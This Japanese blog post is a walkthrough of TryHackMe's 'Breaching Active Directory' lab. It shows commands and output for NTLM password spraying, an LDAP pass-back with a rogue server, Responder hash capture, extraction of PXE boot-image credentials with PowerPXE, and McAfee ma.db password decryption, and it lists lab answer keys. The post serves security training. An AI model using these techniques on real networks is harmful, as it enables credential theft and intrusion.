はじめに
TryHackMeの「Breaching Active Directory」について、Writeupを書きつつ学習内容の個人的なまとめです。AttackBoxは使用せず、自宅のKali環境で進めました。
#このルームの目的
ADの設定不備を突いて攻撃の目的を達成するためには、まずADに紐づくアカウントに対しての初期アクセスが必要です。このルームでは、ADの認証情報を窃取するための基本的な手法について学習します。
本記事ではルームのクリアではなく、提供されている学習内容の理解を目的としています。そのためTryHackMe内で触れられていない用語・情報についても適宜記載をしておりますが、必ずしも関連性を保証するものではありません。
Task 1. Introduction to AD Breaches
このルームに関する説明に目を通しつつ、DNSとVPNを設定するだけの準備タスクです。
#DNS設定
説明の通りに以下のコマンドを打とうとすると失敗します。
sed -i '1s|^|nameserver $THMDCIP\n|' /etc/resolv-dnsmasq
筆者の環境では/etc/resolv-dnsmasq
ではなくetc/resolv.conf
でした。念のためnano
で開いて下記のように編集して保存。
# Generated by NetworkManager
search localdomain
nameserver <追加するTHMDCのIPアドレス>
nameserver <デフォルトIPアドレス>
#VPN設定
nslookup thmdc.za.tryhackme.com
が全く通らなくて焦りましたが、原因は普段のCTFルームを解く用のVPNに接続していたからでした。
Other Hostsという項目に説明がある通り、このRoom専用のVPN設定ファイルをダウンロードする必要があるようです。ということで新しい設定ファイルでOpenVPNを起動して接続し、無事nslookup
が通りました。
#解答
Q1. I have completed the AD basics room and am ready to learn about AD breaching techniques.
A. No answer needed
Q2. I have connected to the network and configured DNS.
A. No answer needed
Task 2. OSINT and Phishing
ここでは情報収集の基礎として、OSINTとフィッシングについて触れています。
#OSINT
OSINTとは Open Source Intelligenceの略語で、インターネットや新聞等、誰であってもアクセス可能な情報を分析することを意味し、ここから攻撃に利用可能な情報を見つけ出します。
ShodanやCensys等、世の中に公開されているIT資産に対して手軽にスキャンを実行できるような様々なOSINTツールがインターネット上で見つかります。
また、HaveIBeenPwned等のサイトでは、メールアドレス等の個人情報がデータ侵害によって不正に公開されていないかを調べることができます。
OSINT自体は合法であるため、必ずしも攻撃者のみに有益なものではなく、セキュリティ業務に関わる人材であれば少なからず利用しているのではないでしょうか。
#フィッシング
偽のメール/Webサイトを通じて認証情報を窃取する行為です。
最近ではPCに偽のウィルス感染警告を表示させ、表示されている連絡先に電話するとサポートを装った攻撃者に遠隔操作されるサポート詐欺や、電話や音声を利用してユーザーを誘導するVishing(Voice + Phishing)と呼ばれる手法なんかも流行っています。
#解答
Q1. I understand OSINT and how it can be used to breach AD
A. No answer needed
Q2. I understand Phishing and how it can be used to breach AD
A. No answer needed
Q3. What popular website can be used to verify if your email address or password has ever been exposed in a publicly disclosed data breach?
A. HaveIBeenPwned
Task 3. NTLM Authenticated Services
ここではNTLM認証を悪用して認証情報を窃取する手法について学びます。NTMLはチャレンジレスポンスを利用した認証方式で、ネットワーク経由で認証を行うNetNTLM(いわゆるNTLM認証)がADで利用されています。ただしセキュアではないことから2024年6月より非推奨となっており、Kerberosを利用することが一般的です。
とある企業がNTML認証を利用するサービスをインターネットに公開している場合(今時無いとは思いますが)、攻撃者は認証情報を窃取できる可能性があります。
#パスワードスプレー攻撃
いよいよ実践ですが、公開されている認証ページ(ntlmauth.za.tryhackme.com)に対してブルートフォースを試行していきます。大体の企業ではアカウントロック設定が掛かっているため、ユーザー名ではなくパスワードを固定するパスワードスプレー手法を利用します。
タスクファイルをダウンロードし、Pythonスクリプトを実行。
┌──(kali㉿kali)-[~]
└─$ python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
/usr/lib/python3/dist-packages/ntlm_auth/rc4.py:18: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
algo = algorithms.ARC4(key)
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: samantha.thompson
[-] Failed login with Username: dawn.turner
[-] Failed login with Username: frances.chapman
[-] Failed login with Username: henry.taylor
[-] Failed login with Username: jennifer.wood
[+] Valid credential pair found! Username: hollie.powell Password: Changeme123
[-] Failed login with Username: louise.talbot
[+] Valid credential pair found! Username: heather.smith Password: Changeme123
[-] Failed login with Username: dominic.elliott
[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123
[-] Failed login with Username: alan.jones
[-] Failed login with Username: frank.fletcher
[-] Failed login with Username: maria.sheppard
[-] Failed login with Username: sophie.blackburn
[-] Failed login with Username: dawn.hughes
[-] Failed login with Username: henry.black
[-] Failed login with Username: joanne.davies
[-] Failed login with Username: mark.oconnor
[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123
[*] Password spray attack completed, 4 valid credential pairs found
[+] Valid credential pair found!
というメッセージから始まっている行がクラックに成功したユーザーです。ここでは4つのユーザーが初期パスワードである「Changeme123」を利用していました。
試しにユーザー名:hollie.powell、パスワード:Changeme123でログインしてみます。
Pythonスクリプトでは何をしているのか、実際にアクセスを試行している部分を抜き出してみました。
response = requests.get(url, auth=HttpNtlmAuth(fqdn + "\\" + user, password))
if (response.status_code == 200):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
get
メソッドにauth
パラメータを渡すことでHTTP認証が可能ですが、ここではHttpNtlmAuth
というサードパーティー製のライブラリを利用しています。あとはuserレスポンスコードが200で返却されれば認証成功ということで、他の攻撃にも応用できそうな汎用性の高いコードなので覚えておきたいと思います。
#解答
Q1. NTLM を使用するチャレンジ レスポンス認証メカニズムの名前は何ですか?
A. NetNtlm
Q2. パスワード スプレー スクリプトによって見つかった 3 番目の有効な資格情報ペアのユーザー名は何ですか?
A. gordon.stevens
Q3. パスワード スプレー スクリプトによって有効な資格情報のペアがいくつ見つかりましたか?
A. 4
Q4.有効な資格情報ペアを使用して認証するときに Web アプリケーションによって表示されるメッセージは何ですか?
A. Hello World
Task 4. LDAP Bind Credentials
続いてLDAP認証を悪用した情報窃取です。LDAPはADにおいて、各ユーザーの資格情報の問い合わせに利用されているプロトコルで、GitLab、Jenkins、ネットワークプリンター等の外部連携システムがユーザーを認証するためにLDAPクエリを発行します。
ユーザーの資格を問い合わせるためにLDAPクエリを発行する必要がありますが、そのためにはサービス自体がADに認証される必要があります。なので上記のようなサービスはADの資格情報を保持しており、それらを復元できればADへの侵害が可能となります。
#LDAPパスバック攻撃
簡単に検索しても全く情報が出てきませんが、要はスプーフィングの系統だと理解しました。
通常のLDAPの流れとしては、
- ネットワークプリンターからADに対し、ポート389(LDAPのデフォルトポート)へ資格情報を送信
- ADがネットワークプリンターを認証
- ネットワークプリンターがLDAPクエリをリクエスト
となりますが、説明ではServer
のIPアドレスを自身に書き換え、nc -lvp 389
を利用してプリンターからの通信を待ち受けています。つまりユーザーのマシンをADサーバーへ見立て、1で送信される認証情報を窃取しようとしている訳です。
しかし、通常であれば資格情報の送信前にプリンターとLDAPサーバー間で認証方法選択のネゴシエートが走るため、Netcat
を利用した待ち受けでは失敗します。そこで攻撃者のマシンにOpenLDAPをインストールし、弱い認証方式で資格情報を授受するように構成します。
#LDAPサーバーの構成
OpenLDAPは名前の通り、BSDライセンスで公開されているオープンソースのLDAPサーバーソフトウェアです。説明に従いインストールします。
#LDAP資格情報の窃取
LDAPサーバーを構成できたら、tcpdump
でパケットを待ち受けます。
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -SX -i breachad tcp port 389
[sudo] kali のパスワード:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on breachad, link-type RAW (Raw IP), snapshot length 262144 bytes
後はプリンター設定画面のServer
に自身のIPアドレスを入力し、Test Settings
をクリックします。
このIPアドレスはTryHackMeのVPN上で割り当てられるIPアドレスですので、それぞれの環境に合わせて書き換えてください。Kaliを使っている場合は画面右上に表示されているIPアドレスになります。
しばらく待っているとシェルが更新され、大量のパケットの情報が表示されます。1つずつ見ていくとパスワードが記載されているパケットが見つかりました。
[...]
13:47:41.998460 IP 10.200.26.201.60015 > 10.50.24.5.ldap: Flags [P.], seq 1280349544:1280349609, ack 1876231093, win 1027, length 65
0x0000: 4500 0069 8b92 4000 7f06 2835 0ac8 1ac9 E..i..@...(5....
0x0010: 0a32 1805 ea6f 0185 4c50 9568 6fd5 03b5 .2...o..LP.ho...
0x0020: 5018 0403 52ec 0000 3084 0000 003b 0201 P...R...0....;..
0x0030: 0560 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..tryhackmel
0x0060: 6461 7070 6173 7331 40 dappass1@
[...]
#解答
Q1. What type of attack can be performed against LDAP Authentication systems not commonly found against Windows Authentication systems?
A. LDAP Pass-back Attack
Q2. What two authentication mechanisms do we allow on our rogue LDAP server to downgrade the authentication and make it clear text?
A. LOGIN,PLAIN
Q3. What is the password associated with the svcLDAP account?
A. tryhackmeldappass1@
Task 5. Authentication Relays
このタスクでは、タスク3でも登場したNetNTLM認証の通信を傍受し、認証情報の窃取を試みます。
NetNTLM認証を使用するプロトコルとして、ファイル共有を行うSMB(Server Message Block) がありますが、ADにおいてのSMBはファイル共有だけでなくドメイン全体のリモート管理も担います。
ここではResponder
というツールを利用して中間者攻撃を実行し、クライアントから送信されるNTLMハッシュを傍受します。ユーザーに対して偽のレスポンスを送信することで、ユーザーと攻撃者のマシンが通信を行うよう仕向けることが可能です。
#NetNTLMチャレンジの傍受
早速Responder
を使っていきます。といいつつ実行は簡単で、ADと同一のネットワークに接続している状態であればコマンド1つで完了します。
┌──(kali㉿kali)-[~]
└─$ sudo responder -I breachad
しばらく待っているとNTLMハッシュが手に入りました。後はhashcat
コマンドで総当たりすることで、認証情報を窃取できます。
実際にはただ傍受するのではなく中間者リレーを行うことで、より深い情報を入手できる可能性があります。が、通常はSMB署名なんてものが付いていたりと上手くいかないよ~的なことが説明に書かれていますね。
#解答
Q1. What is the name of the tool we can use to poison and capture authentication requests on the network?
A. Responder
Q2. What is the username associated with the challenge that was captured?
A. svcFileCopy
Q3. What is the value of the cracked password associated with the challenge that was captured?
A. FPassword1!
Task 6. Microsoft Deployment Toolkit
MDT(Microsoft Deployment Toolkit) はWindowsOSの自動展開を支援するMicrosoftのサービスです。MDTは更にSCCM(System Center Configuration Manager) というコンピューター管理に用いられるソフトウェアと統合されています。
例えば「ブートイメージ」を編集してOfficeソフトやセキュリティ対策ソフトを事前にインストールしておくことで、新しいPCが必要になった際、ネットワークにPCを繋ぐだけで他のPCと同様のセットアップを自動で実行できるということです。
このタスクでは「ブートイメージ」に含まれる認証情報窃取を狙います。
#PXEブート
PXEブートとは、ローカルストレージを持たないPCでもネットワーク経由で起動し、OSを展開することができる仕組みのことです。MDTはこの仕組みを利用することで、ネットワーク越しにPCのセットアップを実行できます。
セットアップのフローは以下の通りです。
- ネットワークに参加したPCはDHCPへIPアドレスを要求
- IPアドレスが割り振られると、PCはMDTサーバーへPXEブートイメージを要求
- MDTサーバーがPCへPXEブートイメージの情報を送信
- PCはMDTサーバーからTFTPを利用してPXEブートイメージをダウンロード
少し理解が難しいのですが、要はこのPXEブートイメージにADアカウントの認証情報が含まれているとのこと。そのためPXEブートイメージを入手し、powerpxe
というツールで認証情報を復元することが目的となります。
#PXEブートイメージの取得
本来ならDHCPの悪用が必要なのだと推測しますが、このルームでは省略され、THMJMP1というマシンにSSH接続をして攻撃を行うようです。
まずは http ://pxeboot.za.tryhackme.com にアクセスしてPXEブートイメージのファイル名を確認し、x64{
で始まるファイル名をコピーしておきます。
続いてSSH接続を行います。
┌──(kali㉿kali)-[~]
└─$ ssh thm@THMJMP1.za.tryhackme.com
thm@thmjmp1.za.tryhackme.com's password:
~~~
Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.
thm@THMJMP1 C:\Users\thm>
接続できたら説明の通りに自身のフォルダを作成し、C:\powerpxe
をコピーします。
そしてTFPTコマンドで先ほど確認したファイル名のBCDファイルをconf.bcd
という名前でダウンロード。
thm@THMJMP1 C:\Users\thm\Documents\akinosora>tftp -i 10.200.26.202 GET "\Tmp\x64{033445D1-7C37-434B-80AA-A95909BDEB0E}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s
あとは説明の通りにコマンドを打っていくと資格情報が復元できます。
thm@THMJMP1 C:\Users\thm\Documents\akinosora>Import-Module .\PowerPXE.ps1
'Import-Module' is not recognized as an internal or external command,
operable program or batch file.
thm@THMJMP1 C:\Users\thm\Documents\akinosora>powershell -executionpolicy bypass
PS C:\Users\thm\Documents\akinosora> Import-Module .\PowerPXE.ps1
PS C:\Users\thm\Documents\akinosora> $BCDFile = "conf.bcd"
PS C:\Users\thm\Documents\akinosora> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim
PS C:\Users\thm\Documents\akinosora> tftp -i 10.200.26.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.win
Transfer successful: 341899611 bytes in 160 second(s), 2136872 bytes/s
PS C:\Users\thm\Documents\akinosora> Get-FindCredentials -WimFile .\pxeboot.win
>> Open .\pxeboot.win
New-Item : An item with the specified name C:\Users\thm\Documents\akinosora\ already exists.
At C:\Users\thm\Documents\akinosora\PowerPXE.ps1:212 char:13
+ $null = New-Item -ItemType directory -Path $WimDir
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceExists: (C:\Users\thm\Documents\akinosora\:String) [New-Item], IOException
+ FullyQualifiedErrorId : DirectoryExist,Microsoft.PowerShell.Commands.NewItemCommand
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@
#解答
Q1. What Microsoft tool is used to create and host PXE Boot images in organisations?
A. Microsoft Deployment Toolkit
Q2. What network protocol is used for recovery of files from the MDT server?
A. TFTP
Q3. What is the username associated with the account that was stored in the PXE Boot image?
A. svcMDT
Q4. What is the password associated with the account that was stored in the PXE Boot image?
A. PXEBootSecure1@
Q5. While you should make sure to cleanup you user directory that you created at the start of the task, if you try you will notice that you get an access denied error. Don't worry, a script will help with the cleanup process but remember when you are doing assessments to always perform cleanup.
A. No answer needed
Task 7. Configuration Files
最後の攻撃手法は設定ファイルの悪用です。コンピューターシステムには様々な設定ファイルが存在していますが、ここではMcAfeeのエンドポイントセキュリティ製品の設定ファイルから認証情報を窃取します。
McAfeeはインストール中に管理サーバーへ接続するための認証情報をma.db
というファイルに保存します。
このma.db
は所定の場所(C:\ProgramData\McAfee\Agent\DB
)に保存されているため、認証情報の復元を試行できる訳です。
thm@THMJMP1 C:\>cd ProgramData
thm@THMJMP1 C:\ProgramData>cd McAfee/Agent
thm@THMJMP1 C:\ProgramData\McAfee\Agent>cd DB
thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir
Volume in drive C is Windows
Volume Serial Number is 1634-22A9
Directory of C:\ProgramData\McAfee\Agent\DB
03/28/2022 04:19 AM <DIR> .
03/28/2022 04:19 AM <DIR> ..
03/05/2022 06:45 PM 120,832 ma.db
1 File(s) 120,832 bytes
2 Dir(s) 48,467,275,776 bytes free
ma.db
の存在を確認できました。続いてSCP
でコピーし、sqlitebrowserというツールでデータベースの内容を見てみます。
┌──(kali㉿kali)-[~]
└─$ scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
The authenticity of host 'thmjmp1.za.tryhackme.com (10.200.26.248)' can't be established.
ED25519 key fingerprint is SHA256:50ZqYlTFUYKTHHPzgPNzG0gSydLnknXL0Ea7lUs7tT8.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'thmjmp1.za.tryhackme.com' (ED25519) to the list of known hosts.
thm@thmjmp1.za.tryhackme.com's password:
ma.db 100% 118KB 87.6KB/s 00:01
┌──(kali㉿kali)-[~]
└─$ sqlitebrowser ma.db
「データ閲覧」から「AGENT_REPOSITORIES」を選択。
少し右にスクロールすると...
暗号化されたパスワードを入手できました。
https://github.com/funoverip/mcafee-sitelist-pwd-decryption
から復号ツールをダウンロードし解凍します。
┌──(kali㉿kali)-[~/Downloads]
└─$ unzip mcafee-sitelist-pwd-decryption-1649686607913.zip
Archive: mcafee-sitelist-pwd-decryption-1649686607913.zip
3665de8339236b9bd9782b840bcf709a70202ae4
creating: mcafee-sitelist-pwd-decryption-master/
inflating: mcafee-sitelist-pwd-decryption-master/README.md
inflating: mcafee-sitelist-pwd-decryption-master/mcafee_sitelist_pwd_decrypt.py
続いて暗号化されたパスワードを引数に渡して復号ツールを実行しますが、Crypto
モジュールが無いと怒られました。
apt
でインストールして再実行。
┌──(kali㉿kali)-[~/Downloads/mcafee-sitelist-pwd-decryption-master]
└─$ python2 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Traceback (most recent call last):
File "mcafee_sitelist_pwd_decrypt.py", line 15, in <module>
from Crypto.Cipher import DES3
ImportError: No module named Crypto.Cipher
┌──(kali㉿kali)-[~/Downloads/mcafee-sitelist-pwd-decryption-master]
└─$ apt install Crypto
Error: ロックファイル /var/lib/dpkg/lock-frontend をオープンできません - open (13: 許可がありません)
Error: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?
┌──(kali㉿kali)-[~/Downloads]
└─$ python mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!
といわけでパスワードが入手できました。
Q1. What type of files often contain stored credentials on hosts?
A. Configuration Files
Q2. What is the name of the McAfee database that stores configuration including credentials used to connect to the orchestrator?
A. ma.db
Q3. What table in this database stores the credentials of the orchestrator?
A. AGENT_REPOSITORIES
Q4. What is the username of the AD account associated with the McAfee service?
A. svcAV
Q5. What is the password of the AD account associated with the McAfee service?
A. MyStrongPassword!
Task 8. Conclusion
Q1. I understand how configuration changes can help prevent AD breaches.
A. No answer needed
まとめ
このルームではAD環境の認証情報を窃取するための攻撃手法について学んできました。
複数のツールに触れつつ、企業のADにまつわる概念を体感できとても勉強になったと思います。
Walkthroughとはいえかなり躓きポイントもあったと思うので、この投稿が誰かの助けになれば幸いです。